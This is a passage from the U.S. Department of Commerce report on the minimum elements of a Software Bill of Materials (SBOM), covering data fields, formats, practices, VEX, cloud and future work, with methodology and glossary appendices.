Other Unique Identifiers
Other identifiers that are used to identify a component, or
serve as a look-up key for relevant databases.
Dependency Relationship
Characterizing the relationship that an upstream component
X is included in software Y.
Author of SBOM Data
The name of the entity that creates the SBOM data for this
component.
Timestamp
Record of the date and time of the SBOM data assembly.
The majority of these fields assist with the identification of the component to expressly enable
mapping to other sources of data. Supplier refers to the originator or manufacturer of the
software component. Component Name is determined by the supplier. The capability to note
multiple names or aliases for both supplier and component name should be supported if possible.
The challenges created by the lack of a single, well-understood and widely used name space for
software are well documented.6 The best practice is to use an existing identifier when possible.
When none exists, use an existing component identification system. Supplier name and
component name are human-readable strings to support identification, although some features of
the software ecosystem such as corporate mergers and open source forking will make ubiquitous
and permanent solutions on this basis unlikely.
Complexity around versions of software is another example of how the diversity in the software
ecosystem requires building some flexibility into component identification approaches. Different
types of software or suppliers of software track versions and distributions differently. Resolving
6 A single, centralized model that can cover the vast, diverse, and rapidly growing software ecosystem presents very
real challenges, notably scaling. A decentralized model where suppliers identify and manage their own software
namespace seems the optimal path forward. For more information, see Framing Software Component Transparency,
supra note 3, at page 24.
Department of Commerce
The Minimum Elements for an SBOM
10
this is outside the scope of the initial SBOM discussion.7 For these minimum elements, the
version is that offered by the supplier since that party has the ultimate responsibility for tracking
and maintaining the software in question, similar to the component name. The desired function
of a version string is to identify a specific code delivery. While there are versioning best
practices (e.g. semantic versioning8), they are by no means ubiquitous today.
Other unique identifiers support automated efforts to map data across data uses and ecosystems
and can reinforce certainty in instances of uncertainty. Examples of commonly used unique
identifiers are Common Platform Enumeration (CPE),9 Software Identification (SWID) tags,10
and Package Uniform Resource Locators (PURL).11 These other identifiers may not be available
for every piece of software, but should be used if they exist.
Dependency relationship reflects the directional aspect of software inclusion, and it enables the
representation of transitivity from a piece of software to its component and a potential sub-
component. Lastly, the SBOM-specific metadata help with the tracking of the SBOM itself.
Author reflects the source of the metadata, which could come from the creator of the software
being described in the SBOM, the upstream component supplier, or some third party analysis
tool. Note that this is not the author of the software itself, just the source of the descriptive data.
Timestamp records when the data is assembled -- the point of the SBOM creation. These further
support the origin of the data, and help identify updated versions of the SBOM. These data fields
provide context to the SBOM data source, and can potentially be used to make trust
determinations.
Automation Support
Support for automation, including automatic generation and machine-readability, allows the
ability to scale across the software ecosystem, particularly across organizational boundaries.
Taking advantage of SBOM data will require tooling, which necessitates predictable
implementation and data formats. For example, some agencies may want to integrate this
capability into their existing vulnerability management practices; others might desire real-time
7 As more visibility emerges through SBOM use and consumption, we can expect further discussions, and
potentially greater convergence of diverse models, approaches, and schemas.
8 Semantic Versioning 2.0.0, https://semver.org/ (last visited July 1, 2021).
9 See Framing Working Group, Nat’l Telecomms. & Info. Admin., Software Identification Challenges and Guidance
(2021), https://www.ntia.gov/files/ntia/publications/ntia_sbom_software_identity-2021mar30.pdf; Official Common
Platform Enumeration (CPE) Dictionary, Nat’l Inst. Standards & Tech., https://nvd.nist.gov/products/cpe (last
visited July 2, 2021).
10 See Software Identification Challenges and Guidance, supra note 9; ISO/IET 19770-2:2015 Information
Technology–IT Asset Management—Part 2: Software Identification Tag, Int’l Standards Org.,
https://www.iso.org/standard/65666.html (last visited July 2, 2021).
11 See Software Identification Challenges and Guidance, supra note 9; Package-url/purl-spec, GitHub,
https://github.com/package-url/purl-spec (last visited July 2, 2021).
Department of Commerce
The Minimum Elements for an SBOM
11
auditing of compliance against security policies. Automation will be key for both, which in turn
requires common, machine-readable data formats.
While a single standard may offer simplicity and efficiency, multiple data formats exist in the
ecosystem and are being used to generate and consume SBOMs. These specifications have been
developed through open processes, with international participation. In addition to being machine-
readable, these data formats are also human-readable, better supporting trouble-shooting and
innovation. More importantly, these standards have been deemed interoperable for the core data
fields and use common data syntax representations.
The data formats that are being used to generate and consume SBOMs are:
• Software Package Data eXchange (SPDX)12
• CycloneDX13
• Software Identification (SWID) tags14
The SBOM must be conveyed across organizational boundaries in one of these interoperable
formats.15 If a new specification should emerge that is compatible with the other data formats,
then it should be included for automation support in the context of minimum elements for
SBOM. Similarly, if a broad-based determination is made that a data format is no longer cross
compatible, or is not under active maintenance and supporting the SBOM use cases, that data
format should be removed from the automation requirement as part of the SBOM minimum
elements. Standards utilizing proprietary data formats should not be included. This accomplishes
the goal of building on existing tools for ease of adoption, supporting future evolution, and
extensibility.
Practices and Processes
An SBOM is more than a structured set of data; to integrate it into the operations of the secure
development life cycle an organization should follow certain practices and processes that focus
on the mechanics of SBOM use. A number of elements should be explicitly addressed in any
policy, contract, or arrangement to ask for or provide SBOMs. Some of these (e.g., frequency)
have straightforward requirements. In other cases (e.g., access), multiple practices exist and
more are being developed, so the minimum element is a requirement that some arrangement is
specified.
12 SPDX, https://spdx.dev/ (last visited May 18, 2021).
13 CycloneDX, https://cyclonedx.org/ (last visited May 18, 2021).
14 See David Waltermire et al., Guidelines for the Creation of Interoperable Software Identification (SWID) Tags
(2016) (Nat’l Inst. of Standards & Tech. Internal Rep. 8060), http://dx.doi.org/10.6028/NIST.IR.8060 (SWID tags
are defined by ISO/IEC 19770–2:2015).
15 Some commenters have emphasized the value of a single format. However, these data formats are actively used
and supported today, and many SBOM experts have noted that the government may not be in the best position to
pick the winner among competing standards. The SBOM community has emphasized maintaining interoperability
and automated translation tools, noting that computers are good at format conversions.
Department of Commerce
The Minimum Elements for an SBOM
12
Frequency. If the software component is updated with a new build or release, a new SBOM
must be created to reflect the new version of the software. This includes software builds to
integrate an updated component or dependency. Similarly, if the supplier learns new details
about the underlying components or wishes to correct an error in the existing SBOM data, the
supplier should issue a new, revised SBOM.
Depth. An SBOM should contain all primary (top level) components, with all their transitive
dependencies listed. At a minimum, all top-level dependencies must be listed with enough
detail to seek out the transitive dependencies recursively.
Going further into the graph will provide more information. As organizations begin SBOM,
depth beyond the primary components may not be easily available due to existing
requirements with subcomponent suppliers. Eventual adoption of SBOM processes will
enable access to additional depth through deeper levels of transparency at the subcomponent
level. It should be noted that some use cases require complete or mostly complete graphs,
such as the ability to “prove the negative” that a given component is not on an organization’s
network.
An SBOM consumer can specify depth by number of transitive steps. Alternatively, they
could specify depth in operational terms. This could include software attributes, such as “all
non-open source software,” or all components of a certain function or complexity.
Organizations can also incentivize greater reporting depth and completeness by offering
different requirements on reporting and remediation of vulnerabilities in components
enumerated in the SBOM versus those that are not. Such specifications are outside the scope
of these minimum elements.
Known Unknowns. For instances in which the full dependency graph is not enumerated in
the SBOM, the SBOM author must explicitly identify “known unknowns.” That is, the
dependency data draws a clear distinction between a component that has no further
dependencies, and a component for which the presence of dependencies is unknown and
incomplete. This must be integrated into the automated data. To avoid erroneous assumptions,
the default interpretation of the data should be that the data is incomplete; the author of the
data should affirmatively state when the direct dependencies of a component have been fully
enumerated, or when a component has no further dependencies. Today, this is implemented in
the dependency relationship data field.
Distribution and Delivery. SBOMs should be available in a timely fashion to those who
need them and must have appropriate access permissions and roles in place. The SBOM data
can accompany each instance of the software, or merely be accessible and directly mappable
to the specific version of the software in question (e.g. through a version-specific URL).
Sharing SBOM data down the software supply chain can be thought of as comprising two
parts: how the existence and availability of the SBOM is made known (advertisement or
discovery) and how the SBOM is retrieved by, or transmitted to, those who have the
appropriate permissions (access). Similar to other areas of software assurance, there will not
be a one-size-fits-all approach. Anyone offering SBOMs must have some means to make
them available and support ingestion, but this can ride on existing mechanisms. SBOM
delivery can reflect the nature of the software as well: executables that live on endpoints can
Department of Commerce
The Minimum Elements for an SBOM
13
store the SBOM data on disk with the compiled code, whereas embedded systems or online
services can have pointers to SBOM data stored online.
Access Control. Many suppliers, including open source maintainers and those with widely
available software, may feel their interests are best served by making SBOM data public.
Other organizations, especially at first, may wish to keep this data confidential, and limit
access to specific customers or users. If access control is desired, the terms must be specified,
including specific allowances and accommodations for integrating SBOM data into the user’s
security tools. Such specification can be determined through licensing, contracts, or other
existing mechanism used to circumscribe the use and rights around the software itself. Given
the variation in software licensing and contracts, the nature of this specification is outside the
scope of this document.
Accommodation of Mistakes. A final practice area, accommodation of mistakes, should be built
into the initial implementation phase of SBOM, allowing for omissions and errors. As many
commentators have observed, while internal management of supply chain data may be a best
practice, it is still evolving. The Administration has identified SBOM as a priority to drive
software assurance and supply chain risk management, and starting today is better than waiting
for perfection. In light of the absence of perfection, consumers of SBOMs should be explicitly
tolerant of the occasional incidental error. This will facilitate constant improvement of tools:
suppliers should offer updated data as they come across issues with past SBOMs, and consumers
should encourage these updates by welcoming supplements and corrections without penalty
when offered in good faith. As stated above regarding frequency, when new data is known an
updated SBOM should be issued. Notably, this tolerance should not apply to intentional
obfuscation or willful ignorance.
V.
Beyond Minimum Elements: Enabling Broader SBOM
Use Cases
The above characterize the “minimum elements” that comprise SBOM creation, maintenance,
and use across the software supply chain. As noted, these are the initial steps and requirements
needed to support the basic use cases. There is more work to be done to expand transparency in
the software supply chain and to support visibility for securing software. This section describes
further additions and inclusions that can support broader SBOM use cases.
The fact that they are not part of the minimum set does not mean that these areas can be ignored;
indeed, some will ultimately be critical to successful and efficient implementation of SBOM use
cases. Many of these are in production today, or will be shortly with some small further
refinements or testing. Organizations seeking SBOMs should feel comfortable working with
their suppliers to ask for them. In many of the elements below, specific recommendations are
proposed.
Department of Commerce
The Minimum Elements for an SBOM
14
Recommended Data Fields
In addition to the data fields described in the minimum elements above, the following data fields
are recommended for consideration, especially for efforts that are planned over several years or
that require higher levels of security. In many cases and contexts these fields are well-defined
and already implemented; others may require greater details for specification and clarity. As
these are added to the minimum elements, any data formats that do not already include the below
must add them or risk getting relegated.
Hash of the Component. When referring to a piece of software, robust identifiers are important
for mapping the existence of a component to relevant sources of data, such as vulnerability data
sources. A cryptographic hash would provide a foundational element to assist in this mapping, as
well as helping in instances of renaming and whitelisting.
Hashes also offer confidence that a specific component was used. The consumer could compare
the hash of the component with a known, trusted version. This could help verify that an
“approved” version of a component was used, and is necessary to identify whether the
component has been altered in unauthorized fashion. A hash is a key foundation for using SBOM
to have trust in the software supply chain.
There are some situations when a hash may not be possible, or convey relatively little value. If
component information was obtained from a tool that did not have direct access to the underlying
component (e.g. a binary analysis tool), then the component author may not be able to credibly
determine the exact bits used, and so be unable to generate a hash.
There are benefits of added assurance that come with a hash, but the diversity of the potential
targets makes implementation somewhat complex. A file is straightforward, but an executable
will have some differences compared to source packages and different hash algorithms will, of
course, produce different values. A number of resolutions to this challenge exist, including
providing enough detail for the consumer to replicate the hash from the original, or multiple
hashes for the small number of potential implementations.
Organizations can request hashes for SBOMs today, especially those focused on high assurance
use cases. It is recommended that they specify further details about how the hash should be
generated. Further defining and refining best practices and specifications for hash generation and
consumption should be a priority for the SBOM community.
Lifecycle Phase. The data about software components can be collected at different stages in the
software lifecycle, including from the software source, at build time, or after build through a
binary analysis tool. Due to unique features of each of these stages, the SBOM may have some
differences depending on when and where the data was created. For example, a compiler may
pull in a slightly different version of a component than what was expected from the source. For
this reason, it would be helpful to have some means of easily conveying where, when, and how
the SBOM data was recorded. As noted in the Future of SBOM section below, this may
ultimately allow for the documentation of more supply chain data. In the short run, simply noting
Department of Commerce
The Minimum Elements for an SBOM
15
how this data was captured, (e.g. “source,” “build,” or “post-build”) will be helpful for
consumption and data management.
Other Component Relationships. The minimum elements of SBOM are connected through a
single type of relationship: dependency. That is, X is included in Y. This relationship is implied
in the SBOM graph structure. Other types of dependency relationships can be captured, and have
been implemented in some SBOM standards. One approach that can be captured today beyond
direct dependencies is “derivation” or “descendancy”. This can indicate that a component is
similar to some other known component, but that some changes have been made. It can be useful
to track for its shared origins and content. Further suggestions on other types of dependencies are
explored below.
License Information. License management was an early use case for SBOM, helping
organizations with large and complex software portfolios track the licenses and terms of their
diverse software components, especially for open source software. SBOMs can convey data
about the licenses for each component. This data can also allow the user or purchaser to know if
the software can be used as a component of another application without creating legal risk.16
Cloud-based Software and Software-as-a-Service
Many modern software applications are provided as a service.17 This affords both distinctions
and unique challenges with respect to SBOM data. Since the software is not running on the
customer’s infrastructure or under their control, the risk management roles are different. The user
is not responsible for maintenance, nor can they control any environmental factors. The
responsibilities for understanding and acting on vulnerability or risk information lies with the
service provider. Moreover, modern web applications often have much faster release and update
cycles, making direct provisioning of SBOM data less practical.
At the same time, there are challenges to capturing the software supply chain risks in the cloud
context. The service provider must not only track metadata from the software supply chain of the
software they are responsible for producing, but in the infrastructure stack that supports the
application, whether under the direct control of the provider or from some external service
provider. Many applications also take advantage of third-party services, sending data and
requests to other organizations through application programming interfaces. Capturing
meaningful metadata about the full application stack and third-party services is ongoing work,
but not yet standardized or sufficiently mature for cross-organization implementation.
16 Both CycloneDX and SPDX support the expression of licenses in several ways, including a license ID on the
SPDX license list, or using SPDX license expressions. See SPDX License List, SPDX https://spdx.org/licenses/
(May 20, 2021). SWID tags were designed, in part, to convey information around commercial licenses. See
Guidelines for the Creation of Interoperable Software Identification (SWID) Tags, supra note 14, at page 1.
17 Peter Mell & Timothy Grace, Nat’l Inst. of Standards and Tech., Special Pub. 800-145, The NIST Definition of
Cloud Computing 2 (2011).
Department of Commerce
The Minimum Elements for an SBOM
16
The NIST definition of “EO-critical software” applies to cloud-based software, but NIST
recommends that the initial implementation phase focus on “on-premise software.”18 A similar
approach is valuable for SBOM.
In the short run, it is recommended that cloud service providers assert that they have an internal
SBOM. That SBOM must be maintained with the rough functional equivalents of the minimum
elements above, although the exact format and architecture may vary based on a provider’s
internal system. The organization must also have the capability to act on this information and
have a process to do so in a timely fashion. Over time, best practices will emerge to integrate
SBOM data into third party risk management and supply chain risk management tools and
processes. One use case that might be relevant for government agencies is forensic SBOM
analysis: whether the cloud provider can determine whether or not a particular component was
part of the deployed system at some time in the past.
SBOM Integrity and Authenticity
An SBOM consumer may be concerned about verifying the source of the SBOM data and
confirming that it was not altered. In the software world, integrity and authenticity are most often
supported through signatures and public key infrastructure. As SBOM practices are
implemented, some existing measures for integrity and authenticity of both software and
metadata can be leveraged. Some of the SBOM data formats described above can explicitly
support these security measures today, while ongoing open source work is tackling the priority of
signing metadata from development environments. Similarly, existing software signing
infrastructure can be leveraged for tools and management of cryptographic materials, including
public key infrastructure.
Those supplying and requesting SBOMs are encouraged to explore options to both sign SBOMs
and verify tamper-detection. Such a mechanism should allow the signing of each component of a
given piece of software and allow the user to determine whether the signature is legitimate.
Integrity and authenticity are a priority for many government agencies, especially in the national
security domain. Some users of SBOM data may insist on requiring digital signatures for
SBOMs today.
Vulnerabilities and SBOM
The primary security use case for SBOM today is to identify known vulnerabilities and risks in
the software supply chain. Some developers may choose to store vulnerability data inside the
SBOM, and multiple SBOM data formats support this. There is clear value for the developer in
this approach. However, SBOM data is primarily static. That is, it reflects the properties of the
18 Critical Software – Definition & Explanatory Material, NIST – Info. Tech. Lab’y (Jun. 25, 2021),
https://www.nist.gov/itl/executive-order-improving-nations-cybersecurity/critical-software-definition-explanatory.
Department of Commerce
The Minimum Elements for an SBOM
17
specific built software at a point in time. Vulnerability data, meanwhile, is dynamic and evolves
over time. Software that was not previously deemed vulnerable may “become” vulnerable as new
bugs are discovered.
Vulnerability data in the SBOM cannot be assumed to be complete and up-to-date, unless very
specific conditions and processes are in place. This is unlikely across organizational boundaries.
SBOM data will most likely have to ultimately be linked to vulnerability data sources. (This does
not, however, limit the value of providing vulnerability, software weaknesses, and risk
information to the consumer of the software).
It is recommended that vulnerability data be tracked in separate data structures from the SBOM.
Operations should focus on mapping and linking between the two types of data as each evolve
and the technologies mature. If vulnerability data is shared across organizations, both the
vulnerability data and the SBOMs can use similar models for distribution, access control, and
ingestion.
Vulnerability and Exploitability in Dependencies
While software vulnerabilities are a key component of understanding risk, not all vulnerabilities
put users and organizations at risk. This is especially true when dealing with transitive
dependencies. Not all vulnerabilities in components create risks in the software that depends on
them. Some vendor data suggests that a relatively small percentage of vulnerable components
have a security impact in the environment where that software is deployed. In the SBOM
context, focusing on upstream vulnerable components that have been deemed not to have an
impact on the downstream software will waste time and resources, without offering immediate
security benefits
Addressing this challenge requires two steps. First, the supplier must make some reliable
determination that a vulnerability does not affect a specific piece of software. This could be for a
range of reasons: the compiler might remove the affected code from the component, the
vulnerability may not be reachable in the execution path, in-line protections exist, or a host of
other reasons. These determinations are ideally already made today by product security incident
response teams (PSIRTs) who track internal dependencies and risks.
The second step requires communication downstream to the next user of this SBOM data,
asserting that the vulnerability does not put the organization at risk. This is straightforward,
linking of a piece of software (the vulnerability in question) and the status of that vulnerability.
The community refers to this as a “Vulnerability Exploitability eXchange,” or VEX. The core of
VEX is the communication of whether or not a given piece software is “affected” by a given
vulnerability. In this case, if no action is deemed necessary, then the status is “not affected.”
VEX is being implemented today as a profile in the Common Security Advisory Framework,19
19 OASIS Common Security Advisory Framework, http://oasis-open.github.io/csaf-documentation/ (last visited July
6, 2021).
Department of Commerce
The Minimum Elements for an SBOM
18
which enables machine-readable information about whether software is affected or not affected
by a vulnerability and can link to specific SBOM data. Other implementations are possible. It is
recommended that tools that analyze SBOM data for the customer build in the capability to
automatically incorporate VEX data.
Legacy Software and Binary Analysis
From an efficiency and utility perspective, SBOM data should be provided by the supplier.
However, that is not always possible, nor the best option. In some cases, the source may not even
be obtainable, with only the object code available for SBOM generation. Software that is not
maintained is at greatest risk of being exploitable. Older software is at a greater risk of not being
maintained. Legacy software’s older code base, and its frequent use in important parts of critical
infrastructure, often makes transparency more important, especially for assessing risk from
known vulnerabilities. In these cases, binary analysis tools can be used to better understand the
components and dependencies in the systems in question. Binary analysis can also be used to
validate SBOM contents, or help understand gaps in the SBOM data.
Nonetheless, there is a key difference in how SBOMs are generated from a source repository, at
the point of the building of the software, and for already-built software. While there are many
unique circumstances, those requesting SBOM data should try to obtain it from the instance of
the build since the instance of the build captures the details of the software as built, including
reflecting any changes made by the compiler or other tools.
Flexibility vs Uniformity in Implementation
In many areas of security that cover a diverse range of software and contexts, a fundamental
tension exists between the needs for flexibility and uniformity. This is not unique to SBOM. The
sheer scope and scale of the software ecosystem leads to a host of unique considerations. This
not only includes key distinctions between the uses of software (e.g., traditional enterprise
software vs. embedded systems vs. containerized software), but also the unique features of
different languages and tools. At the same time, there is a clear need for some convergence and
uniformity. Any organization would incur non-trivial costs to handle a wide range of SBOM
implementations that are not easily compatible. The Federal Government and its agencies are no
exception, and moving toward the benefits of the SBOM use cases described above requires
some predictability and harmonization.
Successful implementation of SBOMs across the ecosystem will require both broad rules and
policies, as well as specific areas of flexibility that are explicitly acknowledged. For the U.S.
Government, the selection of these areas should reflect feedback from the community and
agency stakeholders. Specific areas include legacy technology and higher assurance software,
where active and ongoing threats may require more detailed supply chain information and
stricter requirements.
Ultimately, all requirements built on the minimum elements should draw from two key concepts.
First, all security, especially SBOM, is a process and not a single goal. Second, the fundamental
Department of Commerce
The Minimum Elements for an SBOM
19
principle behind SBOM is the power of transparency, and any rules or guidance should focus on
enabling the use cases described in this document and elsewhere.
VI. Future SBOM Work
As this document has tried to emphasize, SBOM is an emerging technology and practice.
Organizations are implementing SBOM today, but there is much more to do. The suggestions
below are not intended to constrain future work or fully enumerate the potential for SBOM.
Instead, they are highlights from a large and dedicated community from industry and government
experts.
Most notably, it is important to stress that SBOM will not solve all security or supply chain
attacks. Several recent high profile attacks in the supply chain did not target software
components, but the tools and systems used to manage the software development and build
process. Defenses against this type of threat are beginning to be discussed and even deployed in
certain corners of the ecosystem.
The foundation for a more complete approach to securing the software supply chain is to
securely capture details from across the software lifecycle, with cryptographic assurance. The
minimum elements of SBOM starts this process, but there is more to do. Simply capturing more
metadata is helpful, but effectively using this data requires automation, and automation requires
the potential for both automated consumption and policy enforcement. This will require not just
machine readability, but also semantic interpretation, which in turn, will require further work on
data specifications and standardization.
Some of this data will naturally fit into the SBOM approach. This includes data about the
pedigree and provenance of individual components, tracking the respective source of
components, and their chain of custody across the software lifecycle. Other types of data,
including some of the other secure development and supply chain security steps called for in EO
14028, may relate to software development, but might be better tracked separately and correlated
with SBOMs.
The unique nature of modern application development and cloud-native architectures deserves
further consideration for software transparency as well. Some modern software execution
involves dynamic dependencies, calls to third-party services, and other dependencies not directly
included in the software build. Inclusion of these dependencies ensures software is operated as
intended and that vulnerabilities are not introduced through misuse. Further work is needed to
fully characterize this data and assist in automated interpretation and use.
Department of Commerce
The Minimum Elements for an SBOM
20
It is worth noting that several efforts to this end are under development today, and several more
have been tried in the past, to varying degrees of success and longevity. As noted in the Scope
section above, modular architecture can best support diverse innovation and adaptability.
Many of the issues discussed above will need further refinement, including software identity and
SBOM distribution. Software identity will remain a hard problem, especially across different
ecosystems. While a single, widely-used namespace might appear ideal, obstacles such as
scaling, diversity, and the evolving landscape of suppliers make this unlikely. A diversity of
versioning methods and systems also inhibits scalable automation for SBOMs and presents a
number of related security data issues. Further coordination work can help each supplier identify
and manage their own identification namespace, as well as reconcile incompatible standards and
practices.
Since SBOM is an emerging technology, suppliers are still learning how to share this data with
their customers. Fortunately, many suppliers already have trusted channels with their
downstream users, including for software updates and support, although not all of these are
automated or flexible. Several promising technologies have emerged or are being developed that
might be well-suited to enable the discovery, access, and automated ingestion of SBOM data.
Several technologies are worth noting here. The Manufacturer Usage Descriptor is a mechanism
to allow a device to communicate important information about itself on the network, including
network functionality20 and, notably for this document, SBOMs.21 The “Digital Bill of
Materials” is a solution that supports multiple attestations about an open-ended set of supply
chain data, including SBOM, and the enforcement of sharing and the access policies around
these attestations.22 OpenC2 is a standardized language for the command and control of
technologies that provide or support cyber defense; work has begun to use it to handle, process,
and act on SBOM data.23
SBOMs can also be handled by some set of trusted third-parties, which raises many of the usual
strengths and weaknesses of relying on centralization. Challenges include trust and funding
sources. One added benefit of some centralization that has been suggested is that “SBOMs gain
greater value when collectively stored in a repository that can be easily queried by other
applications and systems.”24 This can be used to gain more insights into systematic risk facing
organizations, or even ecosystems or the country itself. It can facilitate coordinated vulnerability
20 E. Lear, et al., Internet Eng’g Task Force, Manufacturer Usage Description Specification (Mar. 2019),
https://datatracker.ietf.org/doc/html/rfc8520 (specifies Manufacturer Usage Description (MUD)).
21 E. Lear, et al., Network Working Grp., Discovering and Accessing Software Bills of Materials (May 18, 2021),
https://datatracker.ietf.org/doc/html/draft-ietf-opsawg-sbom-access.
22 Digital Bill of Materials – Documentation, DBOM, https://dbom-project.readthedocs.io/en/latest/ (last visited July
6, 2021).
23 Open Command and Control (OpenC2), https://openc2.org/ (last visited July 6, 2021).
24 Exec. Order No. 14,028, supra note 1, § 10(j).
Department of Commerce
The Minimum Elements for an SBOM
21
disclosure by giving coordinators an idea of which organizations or suppliers are at risk. Pooled
data could help a centralized actor understand, which components are used the most widely, or in
the most critical sectors, and prioritize security research or hardening practices. However, some
have raised concerns that adversaries could take advantage and target those critical components
for novel attacks. Further research is necessary to understand the optimal structure and incentives
for sharing, protecting, and using SBOM data.
Ultimately, SBOM should not be seen as a unique security phenomenon, but yet another practice
that can support the broader effort to secure the supply chain. In addition to linking this data to
more supply chain data in the software domain, this data can be tied to hardware data. Hardware
offers the features of a hardware root-of-trust and greater end-to-end assurance. At the same
time, risks to the hardware supply chain pose their own challenges, and hardware-specific
metadata should be considered and integrated into overall supply chain risk management along
with SBOM data.
Lastly, as SBOM technology, tools, and practices mature, standards organizations should
consider integrating them into voluntary, consensus-based standards. As noted in this discussion
of minimum elements, SBOM covers both specific data and organizational practices. These have
been developed in an iterative fashion to prove what works and affords rapid innovation. Given
the cross-organizational nature of SBOM, it is important to demonstrate both feasibility and
scalability before they are locked into formal standards. However, as evidence accrues of
successful widespread implementation, sectors and standards experts should codify the
technology and practices into international standards.
VII. Conclusion
This report is the product of carefully considered input from stakeholders across the government,
private sector, and academia. The minimum elements of an SBOM are a starting point, based on
what is conceivable today. The process of determining what constitutes the minimum elements
of an SBOM should not end here. As the additional elements identified above in Beyond
Minimum Elements and The Future of SBOM also become feasible, tested, and built into tools,
those should be added to the minimum elements.
These minimum elements will be a key input into the Federal Government’s work to improve the
security and integrity of the software supply chain, particularly for critical software. Executive
Order 14028 defines these next steps, notably calling for specific guidance, including “standards,
procedures, or criteria.”25 To support and complement this work, the Federal Government should
encourage or develop resources on how to implement SBOMs, potentially involving sector-
specific or technology-specific details. It will be important to build on, and potentially expand,
25 Exec. Order No. 14,028, supra note 1, § 4(e).
Department of Commerce
The Minimum Elements for an SBOM
22
the public-private partnerships that have already been established and which have focused on
defining and operationalizing SBOM’s related supply chain work.
Finally, defining the minimum elements of an SBOM is an iterative process. Some elements are
omitted from this listing simply because they are not yet feasible for the majority of stakeholders.
However, in the near future, they likely will become feasible. This report should be seen as a
starting point, rather than the last word.
Department of Commerce
The Minimum Elements for an SBOM
23
Appendix A: Methodology
The Executive Order on Improving the Nation’s Cybersecurity directed the Department of
Commerce, in coordination with the National Telecommunications and Information
Administration (NTIA), to publish the minimum elements for a Software Bill of Materials
(SBOM). Upon receiving the tasking in EO 14028, the Department, through NTIA, began
working to develop a preliminary approach to the minimum elements, basing the initial draft on
the work drafted by stakeholders in NTIA’s open, public multistakeholder process on software
component transparency.
On June 2, 2021, NTIA published a Notice and Request for Comments (RFC) on the minimum
elements for an SBOM, and what other factors should be considered in the request, production,
distribution, and consumption of SBOMs. The Notice and RFC included the preliminary
minimum elements for comment.26 Comments were due on or before June 17, 2021. NTIA
received approximately 88 comments, from stakeholders across the public and private sector, in
response to this request.
In addition, NTIA performed interviews with a total of 32 Federal government officials
representing both mission-driven and operational approaches to cybersecurity, from civilian,
intelligence, and national security communities. NTIA analyzed the input received in the
comments and the interviews and synthesized the material for this report on minimum elements.
The NTIA multistakeholder process on software component transparency was a separate process
it convened in 2018. The first open, public meeting in July of 2018 allowed the participants in
Washington and participating online to debate the overall issue of software component
transparency. From this initial meeting, a series of working groups were established to tackle
transparency from several different perspectives. One group tackled the overall challenge of
what a “software bill of materials” should look like, the second documented existing and
potential use cases for transparency, while the third reviewed the existing standards and formats
that could be used to convey SBOM data. A final working group proposed and executed a “proof
of concept” exercise with medical device manufacturers and the hospitals that used these
devices. Working groups met weekly or biweekly to define their charter and workstreams. All
working groups were open, and new stakeholders joined as the project progressed. Each group
was led by 2-3 co-chairs who volunteered from the community. The broader community
reconvened every 3-4 months to share progress from the different working groups and discuss
the overall direction of this initiative.
For the multistakeholder process, NTIA acted as a convener and a neutral facilitator, and helped
the different working groups coordinate as their work progressed. Those work products were
drafted by stakeholders with frequent opportunities for the community to weigh in as the
26 NTIA, Software Bill of Materials Elements and Considerations, 86 Fed. Reg. 29568 (June 2, 2021),
https://www.ntia.gov/files/ntia/publications/frn-sbom-rfc-06022021.pdf.
Department of Commerce
The Minimum Elements for an SBOM
24
deliverables took form. The documentation from that process provided valuable insight for this
activity to propose the minimum elements of an SBOM, called for in EO 14028.
Department of Commerce
The Minimum Elements for an SBOM
25
Appendix B: Glossary
Authenticity
The property that data originated from its purported source.27
Author
An entity that creates an SBOM. When author and supplier are different, this indicates that one
entity (the author) is making claims about components created or included by a different entity
(the supplier).28
Component
A unit of software defined by a supplier at the time the component is built, packaged, or
delivered. Many components contain subcomponents. Examples of components include a
software product, a device, a library, or a single file.
Consumer
Entity that obtains SBOMs. An entity can be both a supplier and consumer, using components
with SBOM data in its own software, which is then passed downstream. An “end-user” consumer
(that is not also a supplier) may also be called an operator or a leaf entity.29
Dependency
Characterizing the relationship that an upstream component X is included in software Y.
Downstream
Referring to how a component is subsequently used in other pieces of software at a later stage in
the supply chain.
Integrity
Guarding against improper information modification or destruction.30
Lifecycle Phase
The stage in the software lifecycle where an SBOM is generated (e.g. from source, at the time of
build or packaging, or from a built executable).
27 Morris Dworkin, Nat’l Inst. of Standards and Tech., Special Pub. 800-38F, Recommendation for Block Cipher
Modes of Operation: Methods for Key Wrapping 3 (2012).
28 Framing Software Component Transparency, supra note 3, at page 24.
29 Id.
30 44 U.S.C. § 3542.
Department of Commerce
The Minimum Elements for an SBOM
26
Open-source software
Software that can be accessed, used, modified, and shared by anyone.31
Pedigree
Data on the origins of components that have come together to make a piece of software and the
process under which they came together. This could include data beyond the minimum elements,
such as compiler details and settings.32
Provenance
Data about the chain of custody of the software and all of the constituent components, potentially
including data about the authors and locations from where the components were obtained.33
SBOM (Software Bill of Materials)
A formal record containing the details and supply chain relationships of various components
used in building software. Software developers and vendors often create products by assembling
existing open source and commercial software components. The SBOM enumerates these
components in a product.34
Software-as-a-Service
The capability provided to the consumer to use the provider’s applications running on a cloud
infrastructure. The applications are accessible from various client devices through either a thin
client interface, such as a web browser (e.g., web-based email), or a program interface. The
consumer does not manage or control the underlying cloud infrastructure including network,
servers, operating systems, storage, or even individual application capabilities, with the possible
exception of limited user-specific application configuration settings.35
Subcomponent
Constituent part(s) of a component.
Supplier
An entity that creates, defines, and identifies components and produces associated SBOMs. A
supplier may also be known as a manufacturer, vendor, developer, integrator, maintainer, or
provider. Ideally, all suppliers are also authors of SBOMs for the suppliers’ components. Most
suppliers are also consumers. A supplier with no included upstream components is a root
entity.36
31 Nat’l Inst. of Standards and Tech., S 6106.01, Open Source Code 2 (2018).
32 Roles and Benefits for SBOM Across the Supply Chain, supra note 4, at page 26.
33 Id.
34 Exec. Order No. 14,028, supra note 1, § 10(j).
35 The NIST Definition of Cloud Computing, supra note 17, at page 2.
36 Framing Software Component Transparency, supra note 3, at page 24.
Department of Commerce
The Minimum Elements for an SBOM
27
Transitive Dependency
Characterizing the relationship that if an upstream component X is included in software Y and
component Z is included in component X then component Z is included in software Y.
Upstream
Referring to the origins of components or subcomponents, at an earlier stage in the supply chain.
Department of Commerce
The Minimum Elements for an SBOM
28
Appendix C: Acronym List
CPE
Common Platform Enumeration
CPU
Central Processing Unit
EO
Executive Order
NIST
National Institute of Standards and Technology
NTIA
National Telecommunications and Information Administration
OSS
Open-Source Software
PSIRT
Product Security Incident Response Team
PURL
Package Uniform Resource Locator
RFC
Request for Comments
SBOM
Software Bill of Materials
SPDX
Software Package Data eXchange
SWID
